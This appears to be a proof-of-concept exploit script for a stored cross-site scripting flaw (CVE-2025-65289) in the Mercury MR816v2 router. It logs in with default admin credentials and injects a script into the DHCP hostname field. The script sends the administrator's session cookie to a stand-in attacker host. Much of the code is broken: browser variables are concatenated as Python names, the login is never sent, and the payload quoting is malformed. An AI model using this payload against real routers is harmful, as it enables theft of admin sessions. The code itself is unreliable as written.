CVE-2025-65289: Mercury MR816v2路由器存储型XSS漏洞

import requests # CVE-2025-65289 PoC - Mercury MR816v2 Stored XSS # Target: Mercury MR816v2 Router (Firmware 4.8.7 Build 110427 Rel 36550n) # Attack Vector: Inject XSS payload in hostname field via LAN access router_ip = "192.168.1.1" # Default Mercury router IP router_user = "admin" # Default admin username router_pass = "admin" # Default admin password # XSS payload to steal admin session xss_payload = '<script>document.location="http://attacker.com/log?c=' + 'cookie=' + document.cookie + '&url=' + document.URL + '</script>' def exploit_stored_xss(): """ Inject malicious hostname containing XSS payload The payload will be stored and executed when admin accesses the management interface """ # Login to router management interface session = requests.Session() login_url = f"http://{router_ip}/login.cgi" login_data = { "username": router_user, "password": router_pass } # Send XSS payload in hostname field # Typical endpoint for DHCP client configuration host_config_url = f"http://{router_ip}/dhcp_client_set.cgi" host_config_data = { "hostname": xss_payload, "action": "save" } response = session.post(host_config_url, data=host_config_data) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[*] Payload will execute when admin views DHCP client list") print("[*] or triggers DHCP release/renew operation") else: print("[-] Failed to inject payload") if __name__ == "__main__": print("CVE-2025-65289 PoC - Mercury MR816v2 Stored XSS") print("Target: LAN-attached Mercury MR816v2 Router") exploit_stored_xss()